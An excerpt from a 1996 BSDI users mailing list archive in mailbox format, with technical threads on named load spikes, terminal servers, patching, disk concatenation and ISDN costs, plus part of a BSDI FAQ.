to wrap around the axle, giving the mini-buffer whine Ispell misalignment: word 'foo' point 409 ; please retry As ispell in Emacs VM works for me on all the other platforms I use, I suspect something fun in the BSDI config. Anyone else seeing this? randy From VM Sat Nov 2 22:36:57 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1303" "Sat" "2" "November" "1996" "13:25:06" "-0700" "Jim Hribnak" "hribnak@nucleus.com" nil "39" "Re: CPU Load through the roof" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA08528 for ; Sat, 2 Nov 1996 15:26:24 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id PAA29909 for bsdi-users-outgoing; Sat, 2 Nov 1996 15:19:34 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Jim Hribnak Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Re: CPU Load through the roof Date: Sat, 2 Nov 1996 13:25:06 -0700 (MST) On Mon, 28 Oct 1996, Jim Hribnak wrote: A few minutes ago my CPU was runing 15.00+ (as per TOP) yet the only process that seemed to have been active was named (1.53%) Anyone have any ideas as to why the load would go through the roof in a matter of seconds, yet TOP doesnt show any high or unusual CPU hogs? Jim ================================================================== I seemed to have found 1 possible solution to whats causing the above.. I have been monitoring our 2.1 box rather closely this past week and have noticed EACH time the CPU load starts going up I do a top and named is the top process and is consuming 10 meg or more in size, even though top says its using 1.93% doing a w or the load average in top is climbing and hist 15 or more.. I kill the named process and re-start it and the cpu load drops fairly rapidly I guess this coming week I am going to look for a newer bind/named and see if this fixes the problem.. named gets over 10 meg once a day and each time it seems to point to it.. Anyone have any ideas as to maybe why? I have 32 meg in the machine, ALOT of swap space (thinking ahead) as I did have 64 meg in the machine before but had alot of rebooting problems (reboots on its own) Anyways thats what I found so far and it seesm valid... Jim From VM Sat Nov 2 22:36:58 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["711" "Sat" "2" "November" "1996" "14:32:18" "-0600" "Staff Mailing Lists" "adminlist@probe.net" nil "19" "Need xmgr/grbatch binary for BSDI" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA09072 for ; Sat, 2 Nov 1996 15:40:54 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id PAA29991 for bsdi-users-outgoing; Sat, 2 Nov 1996 15:32:29 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Staff Mailing Lists Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Need xmgr/grbatch binary for BSDI Date: Sat, 2 Nov 1996 14:32:18 -0600 (CST) I've been trying to get xmgr/grbatch compiled to use for my router stats program to create graphs. I'm no programmer, and the package (at least everywhere I've found it) is for Linux, Sun, HP and AIX. While I do have Linux boxen here, none have X running because we don't use X on our servers. Anyway, I can't port the damn thing. Does anyone have an xmgr/grbatch binary for BSDI 2.01 or 2.1 they'd be willing to email or ftp me? I'd be eternally grateful. All I need to do is call grbatch from a script to make a graph that I can stick on a web page, and this is p***ing me off more and more all the time. Will email cold beverage of your choice in return. TIA, Dale (dbotkin@probe.net) From VM Sat Nov 2 22:36:59 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["595" "Sat" "2" "November" "1996" "12:46:52" "-0800" "CompTech Internet Services" "comptech@comptec.com" nil "10" "BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id PAA09354 for ; Sat, 2 Nov 1996 15:57:15 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id PAA00130 for bsdi-users-outgoing; Sat, 2 Nov 1996 15:50:11 -0500 (EST) Message-Id: <3.0.32.19961102124650.006cedb8@pop.comptec.com> X-Sender: comptech@pop.comptec.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: CompTech Internet Services Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: BSDI box as Term Server Date: Sat, 02 Nov 1996 12:46:52 -0800 We would like to use BSDI as a term server to hang modems off of. Currently we have 1 BSDI box running authentication, mail, www for personal pages. We would like to have bring up another box with say a 64 port card in it and have it utilize the filesystems off the main machine rather than have its own for passwd, /usr/home/user, /var/mail, etc etc. My question is, where should we be looking to perform this procedure? We have tried NFS, but alas we are not very experienced in that area. Any help would be appreciated, even a "type man ???" would at least point us in the right direction. From VM Sat Nov 2 22:37:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["202" "Sat" "2" "November" "1996" "16:35:35" "-0600" "Jason Dowd" "Jason@pinncomp.com" nil "6" "Patches" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA12105 for ; Sat, 2 Nov 1996 17:42:34 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id RAA00398 for bsdi-users-outgoing; Sat, 2 Nov 1996 17:33:39 -0500 (EST) Message-Id: X-Mailer: Novell GroupWise 4.1 Mime-Version: 1.0 Content-Type: text/plain Content-Disposition: inline Precedence: bulk From: Jason Dowd Sender: owner-bsdi-users@lists.gateway.com To: bsdi-users@BSDI.COM Subject: Patches Date: Sat, 02 Nov 1996 16:35:35 -0600 I am very much a newbie at BSD. I have several meg worth of patches and NO IDEA what to do with them. I have consulted the manual and the FAQ. How do I patch my OS? Please help me before I go insane. From VM Sat Nov 2 22:37:10 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["823" "Sat" "2" "November" "1996" "17:36:37" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "26" "Re: CPU Load through the roof " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id RAA12110 for ; Sat, 2 Nov 1996 17:43:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id RAA00417 for bsdi-users-outgoing; Sat, 2 Nov 1996 17:37:04 -0500 (EST) Message-Id: <199611022236.RAA06770@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sat, 02 Nov 1996 13:25:06 MST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Jim Hribnak cc: bsdi-users@BSDI.COM Subject: Re: CPU Load through the roof Date: Sat, 02 Nov 1996 17:36:37 -0500 In message you write: > > >On Mon, 28 Oct 1996, Jim Hribnak wrote: > > > >A few minutes ago my CPU was runing 15.00+ (as per TOP) yet the only >process that seemed to have been active was named (1.53%) > >Anyone have any ideas as to why the load would go through the roof in a >matter of seconds, yet TOP doesnt show any high or unusual CPU hogs? > > >Jim > >================================================================== I'm not sure if this has been fixed, but sometimes things get into Disk Wait mode (like if it loses its network connection to a place with a lot of NFS mounts). Each process using the lost NFS mounts is in Disk Wait Mode, which uped the load average by 1 for each disk access waiting so that could be it if that hasn't been changed. Jacob From VM Sat Nov 2 22:37:15 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["903" "Sat" "2" "November" "1996" "18:34:21" "-0500" "Evan Champion" "evanc@synapse.net" nil "23" "Re: BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id SAA13736 for ; Sat, 2 Nov 1996 18:41:45 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id SAA00495 for bsdi-users-outgoing; Sat, 2 Nov 1996 18:34:48 -0500 (EST) In-Reply-To: <3.0.32.19961102124650.006cedb8@pop.comptec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Evan Champion Sender: owner-bsdi-users@lists.gateway.com To: CompTech Internet Services cc: bsdi-users@BSDI.COM Subject: Re: BSDI box as Term Server Date: Sat, 2 Nov 1996 18:34:21 -0500 (EST) IMHO you're better off buying a dedicated terminal server. Evan On Sat, 2 Nov 1996, CompTech Internet Services wrote: > We would like to use BSDI as a term server to hang modems off of. > Currently we have 1 BSDI box running authentication, mail, www for personal > pages. We would like to have bring up another box with say a 64 port card > in it and have it utilize the filesystems off the main machine rather than > have its own for passwd, /usr/home/user, /var/mail, etc etc. My question > is, where should we be looking to perform this procedure? We have tried > NFS, but alas we are not very experienced in that area. Any help would be > appreciated, even a "type man ???" would at least point us in the right > direction. > -- Evan Champion * Director, Network Operations mailto:evanc@synapse.net * Directeur, Exploitation du reseau http://www.synapse.net/ * Synapse Internet From VM Sat Nov 2 22:37:21 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1362" "Sat" "2" "November" "1996" "16:38:48" "-0800" "Tim Keanini" "blast@broder.com" nil "30" "Re: Hard disk mounting. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id TAA15649 for ; Sat, 2 Nov 1996 19:48:53 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id TAA00571 for bsdi-users-outgoing; Sat, 2 Nov 1996 19:39:53 -0500 (EST) In-Reply-To: <199611021712.MAA29592@kci.kciLink.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Tim Keanini Sender: owner-bsdi-users@lists.gateway.com To: Vivek Khera cc: Konstantin Barinov , bsdi-users@BSDI.COM Subject: Re: Hard disk mounting. Date: Sat, 2 Nov 1996 16:38:48 -0800 (PST) On Sat, 2 Nov 1996, Vivek Khera wrote: > +--------- > | Is it possible in BSD 2.1 to mount several hard disks into > | one "partition" (ie 5 2Gig disks into /var/spool/news to get > | total 10 Gig space)? > +--------- > > Yes. There is a cd driver that will "concatenate disk" partitions into one > mount point. It is not easy to install -- you must hand-edit the cd.c file in > the kernel to configure the partitions you want in your partition. I > understand that 3.0 will let you do this much more easily. Vivek, Sounds like you have it up and running. We have got the kernel to like it but USER apps like 'newfs' have no idea whats going on. I hear that it will be around in 3.0 but I am into sharing information on this topic on or off the list. --blast %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% \ Tim Keanini | "The limits of my language, / / | are the limits of my world." \ \ blast@broder.com | --Ludwig Wittgenstein / \ +================================================/ |Key fingerprint = 7B 68 88 41 A8 74 AB EC F0 37 98 4C 37 F7 40 D6 | / PUB KEY: http://www-swiss.ai.mit.edu/~bal/pks-commands.html \ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% From VM Sat Nov 2 22:37:23 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1058" "Sun" "3" "November" "1996" "04:07:49" "GMT" "Vernon D. Burke" "vburke@server.skow-acc.com" nil "22" "Re: BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id UAA16198 for ; Sat, 2 Nov 1996 20:10:02 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id UAA00613 for bsdi-users-outgoing; Sat, 2 Nov 1996 20:06:01 -0500 (EST) Path: usenet Newsgroups: info.bsdi.users Organization: Skowhegan OnLine Central Maine's Internet OnRamp Lines: 21 Message-ID: <55h1s9$h2b@server.skow-acc.com> References: <3.0.32.19961102124650.006cedb8@pop.comptec.com> NNTP-Posting-Host: office.skow-acc.com X-Newsreader: Forte Free Agent 1.0.82 Precedence: bulk From: vburke@server.skow-acc.com (Vernon D Burke) Sender: owner-bsdi-users@lists.gateway.com To: info-bsdi-users@uunet.uu.net Subject: Re: BSDI box as Term Server Date: Sun, 03 Nov 1996 04:07:49 GMT comptech@comptec.com (CompTech Internet Services) wrote: > We would like to use BSDI as a term server to hang modems off of. >Currently we have 1 BSDI box running authentication, mail, www for personal >pages. We would like to have bring up another box with say a 64 port card >in it and have it utilize the filesystems off the main machine rather than >have its own for passwd, /usr/home/user, /var/mail, etc etc. My question >is, where should we be looking to perform this procedure? We have tried >NFS, but alas we are not very experienced in that area. Any help would be >appreciated, even a "type man ???" would at least point us in the right >direction. well, u could certainly use nfs to do that, on the whole, i think u'd be a LOT better off with a real terminal server. Vernon D Burke, Owner/Operator, Skowhegan OnLine Email: sysop@skow-acc.com WWW: http://www.skow-acc.com Commercial and Public Internet Access and Consulting Services "You make one little mistake and the whole world queues up to make fun of you." From VM Sat Nov 2 22:37:26 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["2123" "Sat" "2" "November" "1996" "20:58:09" "-0500" "Mike Pistone" "pistone@eurekanet.com" nil "58" "Re: BSDI box as Term Server" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA18082 for ; Sat, 2 Nov 1996 21:21:17 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id VAA00672 for bsdi-users-outgoing; Sat, 2 Nov 1996 21:12:38 -0500 (EST) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk From: Mike Pistone Sender: owner-bsdi-users@lists.gateway.com To: Evan Champion cc: CompTech Internet Services , bsdi-users@BSDI.COM Subject: Re: BSDI box as Term Server Date: Sat, 2 Nov 1996 20:58:09 -0500 (EST) I would have to agree. Of the BSDI networks I'v worked with the segmented kind are better off and there is less stress/pressure on the Systems Admin. Situation #1. Router, term server (modems), and everything else is on a BSDI box. Situation #2 Router is seperate (Cisco), Term server is seperate (Livingston), Everything else is on BSDI servers. With situation #1 if one thing goes then everything goes. A bad hard disk leads to a dead network. With situation #2 everything is safe. The router cooks... users can still login and do everything except access remote sites. If the term server dies then all traffic is still flowing (incoming mail, www pages, etc). Now if the BSDI server dies then you might be in trouble unless you have a alternate authentication server. The ISP I run now has Situation #2. It is very dynamic and redundent (good words to use when describing a network). If one thing fails then everything is not down. And the ability to use my 2nd BSDI server as a backup authentication server just makes things that much easier. Mike Pistone Systems Administrator Eureka Networks On Sat, 2 Nov 1996, Evan Champion wrote: > IMHO you're better off buying a dedicated terminal server. > > Evan > > On Sat, 2 Nov 1996, CompTech Internet Services wrote: > > > We would like to use BSDI as a term server to hang modems off of. > > Currently we have 1 BSDI box running authentication, mail, www for personal > > pages. We would like to have bring up another box with say a 64 port card > > in it and have it utilize the filesystems off the main machine rather than > > have its own for passwd, /usr/home/user, /var/mail, etc etc. My question > > is, where should we be looking to perform this procedure? We have tried > > NFS, but alas we are not very experienced in that area. Any help would be > > appreciated, even a "type man ???" would at least point us in the right > > direction. > > > > -- > Evan Champion * Director, Network Operations > mailto:evanc@synapse.net * Directeur, Exploitation du reseau > http://www.synapse.net/ * Synapse Internet > > From VM Sat Nov 2 22:37:29 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1318" "Sat" "2" "November" "1996" "21:33:07" "-0400" "Dean Anderson" "dean@av8.com" nil "29" "Re: What is the best modem?" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA18367 for ; Sat, 2 Nov 1996 21:32:46 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id VAA00703 for bsdi-users-outgoing; Sat, 2 Nov 1996 21:29:50 -0500 (EST) X-Authentication-Warning: mustang.oec.com: mail set sender to using -f X-Sender: dean@mail.oec.com Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Precedence: bulk From: dean@av8.com (Dean Anderson) Sender: owner-bsdi-users@lists.gateway.com To: "Jacob M. Parnas" , Bill Webb Cc: thanht@address.net, bsdi-users@BSDI.COM Subject: Re: What is the best modem? Date: Sat, 2 Nov 1996 21:33:07 -0400 At 1:48 PM 10/31/96, Jacob M. Parnas wrote: >>Note that in many areas you can get Centrex ISDN, which means that essentially >>you're treated as an extention of the ISP's (or your corporate network) and >>you just dial a four-digit number or # and four digits. With this there >>is no per-minute charge (this is what I use). I think it is limitted to >>within the same switch as the ISP so you have to be close to an ISP (this >>isn't >>a problem in Silicon Valley!). > >I think that's great. If you can get it. But here in Boston, there is no >way to get around the 1.6 cents/minute they charge. TIAC offers (offered?) this in boston. They operate it like a leased line--always up connection. Its pretty good I guess. However, I have also heard that the phone company (Nynex) has filed with the FCC to stop offering this service. Sorry, don't have any definite details... --Dean Dean Anderson dean@aV8.com | dean@lpf.org We make technology fly! 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Contact me for more info Contact me for services and rates | or send mail to lpf@lpf.org President | President Plain Aviation,Inc | League for Programming Freedom From VM Sat Nov 2 22:37:30 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["744" "Sat" "2" "November" "1996" "18:26:50" "-0800" "Greg Shenaut" "sonet!greg@ucdavis.edu" nil "18" "Re: Patches " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id VAA18639 for ; Sat, 2 Nov 1996 21:42:41 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id VAA00722 for bsdi-users-outgoing; Sat, 2 Nov 1996 21:39:49 -0500 (EST) X-Authentication-Warning: franc.ucdavis.edu: nuucp set sender to sonet!myrtle.bogs.org!greg using -f >Received: from myrtle.bogs.org (root@myrtle.bogs.org [198.137.203.39]) by asphodel.bogs.org (8.6.12/8.6.10) with ESMTP id SAA19629 for ; Sat, 2 Nov 1996 18:23:47 -0800 Message-Id: <199611030226.SAA11150@myrtle.bogs.org> In-reply-to: Your message of "Sat, 02 Nov 1996 16:35:35 CST." Reply-To: sonet!ucdavis.edu!gkshenaut@ucdavis.edu Content-Type: text Precedence: bulk From: Greg Shenaut Sender: owner-bsdi-users@lists.gateway.com To: sonet!bsdi.com!bsdi-users@ucdavis.edu Subject: Re: Patches Date: Sat, 02 Nov 1996 18:26:50 -0800 In message , Jason Dowd quoth: " I am very much a newbie at BSD. I have several meg worth of patches " and NO IDEA what to do with them. I have consulted the manual and the " FAQ. How do I patch my OS? Usually there is a bit of documentation at the beginning of each patch. You can look at it by means of "more ". In most cases, you just say "sh ", but it's a good idea to look inside first, because sometimes that might not be sufficient. By the way, a useful strategy for figuring out what to do with an unknown file on *nix systems is to try "file XXX". Sometimes that's sufficient; if not, you might try "od -c XXX" or "strings XXX", which can give you more information. -Greg From VM Sat Nov 2 22:37:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["151" "Sat" "2" "November" "1996" "09:00:59" "-0600" "Carl Forester" "helios@pchnet.com" nil "8" "BSDI for sale " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA19202 for ; Sat, 2 Nov 1996 22:02:56 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id WAA00767 for bsdi-users-outgoing; Sat, 2 Nov 1996 22:01:17 -0500 (EST) Message-Id: <199611030345.VAA02000@c4.pchnet.com> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Carl Forester" Sender: owner-bsdi-users@lists.gateway.com To: Subject: BSDI for sale Date: Sat, 2 Nov 1996 09:00:59 -0600 We have 2 copies of bsdi for sale. 16 user (no source, no support) $650.00 16 user (6 month support, 6 month upgrade contract, no source) $900.00 From VM Sat Nov 2 22:37:34 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["162" "Sat" "2" "November" "1996" "09:02:18" "-0600" "Carl Forester" "helios@pchnet.com" nil "9" "BSDI for sale " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA19207 for ; Sat, 2 Nov 1996 22:03:23 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id WAA00786 for bsdi-users-outgoing; Sat, 2 Nov 1996 22:02:35 -0500 (EST) Message-Id: <199611030346.VAA02011@c4.pchnet.com> X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Precedence: bulk From: "Carl Forester" Sender: owner-bsdi-users@lists.gateway.com To: Subject: BSDI for sale Date: Sat, 2 Nov 1996 09:02:18 -0600 We have 2 copies of bsdi 2.1 for sale. 16 user (no source, no support) $650.00| 16 user (6 month support, 6 month upgrade contract, no source) $900.00 From VM Sat Nov 2 22:37:35 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1936" "Sat" "2" "November" "1996" "22:00:26" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "42" "Re: What is the best modem? " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA19211 for ; Sat, 2 Nov 1996 22:03:27 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id WAA00760 for bsdi-users-outgoing; Sat, 2 Nov 1996 22:00:51 -0500 (EST) Message-Id: <199611030300.WAA07537@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sat, 02 Nov 1996 21:33:07 -0400. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: dean@av8.com (Dean Anderson) cc: Bill Webb , thanht@address.net, bsdi-users@BSDI.COM Subject: Re: What is the best modem? Date: Sat, 02 Nov 1996 22:00:26 -0500 In message you write: >At 1:48 PM 10/31/96, Jacob M. Parnas wrote: >>>Note that in many areas you can get Centrex ISDN, which means that essentially >>>you're treated as an extention of the ISP's (or your corporate network) and >>>you just dial a four-digit number or # and four digits. With this there >>>is no per-minute charge (this is what I use). I think it is limitted to >>>within the same switch as the ISP so you have to be close to an ISP (this >>>isn't >>>a problem in Silicon Valley!). >> >>I think that's great. If you can get it. But here in Boston, there is no >>way to get around the 1.6 cents/minute they charge. > >TIAC offers (offered?) this in boston. They operate it like a leased >line--always up connection. Its pretty good I guess. However, I have also >heard that the phone company (Nynex) has filed with the FCC to stop >offering this service. >Sorry, don't have any definite details... > > --Dean > >Dean Anderson dean@aV8.com | dean@lpf.org >We make technology fly! See us for | Stop Software Patents before they >Networking, Firewalls, WWW and more. | stop you! Contact me for more info >Contact me for services and rates | or send mail to lpf@lpf.org >President | President >Plain Aviation,Inc | League for Programming Freedom I found TIAC to be terrible. They treated me like a second class citizen because I ran Unix, and charged $49.95 for analog service when I was a member a year or so ago (I think its down to $29.95 now, but you can get it for $9.95/month with galaxy, I think. But the ISDN problem is NYNEX. They charge per minute used 24 hours a day 365 days (366 on leap years). There's no way out. I'm looking forward to X2 technology by US Robotics (56 K input, 33.6 input) over regular lines with no charge or even visit by Nynex. Jacob From VM Sat Nov 2 22:37:36 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["103" "Sat" "2" "November" "1996" "22:02:22" "-0500" "Jacob M. Parnas" "jparnas@jparnas.cybercom.net" nil "5" "Re: Hard disk mounting. " "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA19215 for ; Sat, 2 Nov 1996 22:03:31 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id WAA00796 for bsdi-users-outgoing; Sat, 2 Nov 1996 22:02:53 -0500 (EST) Message-Id: <199611030302.WAA07549@jparnas.cybercom.net> X-Authentication-Warning: jparnas.cybercom.net: Host localhost.cybercom.net didn't use HELO protocol X-External-Networks: yes In-reply-to: Your message of Sat, 02 Nov 1996 16:38:48 PST. Precedence: bulk From: "Jacob M. Parnas" Sender: owner-bsdi-users@lists.gateway.com To: Tim Keanini cc: Vivek Khera , Konstantin Barinov , bsdi-users@BSDI.COM Subject: Re: Hard disk mounting. Date: Sat, 02 Nov 1996 22:02:22 -0500 Is 3.0 Beta available? Is there a proceedure to request it if you're getting updates? Thanks, Jacob From VM Sat Nov 2 23:36:44 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["1516" "Sun" "3" "November" "1996" "04:15:22" "+0100" "Arne Steinkamm" "arne@steinkamm.com" nil "40" "Re: CPU Load through the roof" "^From:" nil nil "11" nil nil nil nil] nil) Received: from lists.gateway.com (lists.gateway.com [198.85.67.131]) by gate.smm.com (8.7.4/8.7.3) with ESMTP id WAA19783 for ; Sat, 2 Nov 1996 22:28:38 -0500 (EST) Received: (from majordom@localhost) by lists.gateway.com (8.8.Alpha.1/555-1212) id WAA00822 for bsdi-users-outgoing; Sat, 2 Nov 1996 22:16:09 -0500 (EST) Message-Id: <199611030315.EAA17650@oldman.steinkamm.com> In-Reply-To: <199611022236.RAA06770@jparnas.cybercom.net> from "Jacob M. Parnas" at Nov 2, 96 05:36:37 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Precedence: bulk From: Arne Steinkamm Sender: owner-bsdi-users@lists.gateway.com To: jparnas@jparnas.cybercom.net (Jacob M. Parnas) Cc: hribnak@nucleus.com, bsdi-users@BSDI.COM Subject: Re: CPU Load through the roof Date: Sun, 3 Nov 1996 04:15:22 +0100 (MET) > In message you write: > > > > > >On Mon, 28 Oct 1996, Jim Hribnak wrote: > > > > > > > >A few minutes ago my CPU was runing 15.00+ (as per TOP) yet the only > >process that seemed to have been active was named (1.53%) > > > >Anyone have any ideas as to why the load would go through the roof in a > >matter of seconds, yet TOP doesnt show any high or unusual CPU hogs? > > > > > >Jim > > > >================================================================== > I'm not sure if this has been fixed, but sometimes things get into > Disk Wait mode (like if it loses its network connection to a place with > a lot of NFS mounts). Each process using the lost NFS mounts is in > Disk Wait Mode, which uped the load average by 1 for each disk access waiting > so that could be it if that hasn't been changed. You will see a very similar situation when you umount a disk. Normaly writing back the free lists will be a very fast thing, but when you change much on the fs (restoring a tape for example) and umount (umount(2) is atomic) your load will go through the roof too. This is not a bug.. it's also not a feature... it's a common situation for an unix-user. Greetings .//. Arne -- Arne Steinkamm | Mail (MIME): Arne@Steinkamm.COM IRC: Arne Tel.: +49.89.299.756 | URL: http://WWW.Steinkamm.COM/ NIC-Handle: AS306 Robert-Koch-Str. 4 | "There's coffee in that nebula" D-80538 Muenchen | Cptn. Kathryn Janeway, ST:VOY - The Cloud From VM Sat Nov 2 23:36:46 1996 Status: RO X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] ["15726" "Sat" "2" "November" "1996" "22:03:01" "EST" "Wynn Data Ltd. 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The latest version of this FAQ may be retrieved via e-mail by sending a message to robot@wynn.com with send bsdi.faq as the body of the message. Last update 96/10/07 1. How do I time out idle users on my dial in ports. a. The best way is to buy quality modems designed for dial in type service and set the modem's inactivity timmer. Multitech modems include this feature and they work well with BSD/OS machines. If you already have your modems and they do not support inactivity timeouts you can still time out PPP users with setting of the idle timer in /etc/ppp.sys (see the man page on ppp.sys. Unfortunatly for shell users there is no built in way to time them out. The shell has timeout settings that can be set, but the user can override them. There are also daemons that can do idle checks for you and kill a user's processes. It should be noted that killing a users processes is not the same as logging them out and it may lead to unexpected or undesired results. One daemon for this purpose is untamo. An archie search should turn it up. It is not known if it works under BSD/OS or not, but I have used it under other versions of unix over the past 10 years. 2. How much swap space do I need? a. At least twice real memory plus space for /tmp as a MFS is a good number. In general swapping uses a more efficient scheme when swap space is at least double real memory. You want to make sure you have enough not to run out of swap space or processes may die and other nasty things can happen. 3. How do I set up expire dates for accounts? a. See the manual page for chpass(1). %man chpass 4. How do I get my XYZ computer to boot without a keyboard? a. Talk to the maker of your XYZ computer or get a keyboard faker connector (sold by many suppliers) for your machine. b. Check the CMOS settings. Most machines have the ability to set keyboard to "not installed". This prevents the system from making the silly error, "Keyboard Error, press F1 to resume..." and the system will go ahead and boot the OS. 5. Can I use a ZIP drive on my system? a. Yes it looks like any other SCSI 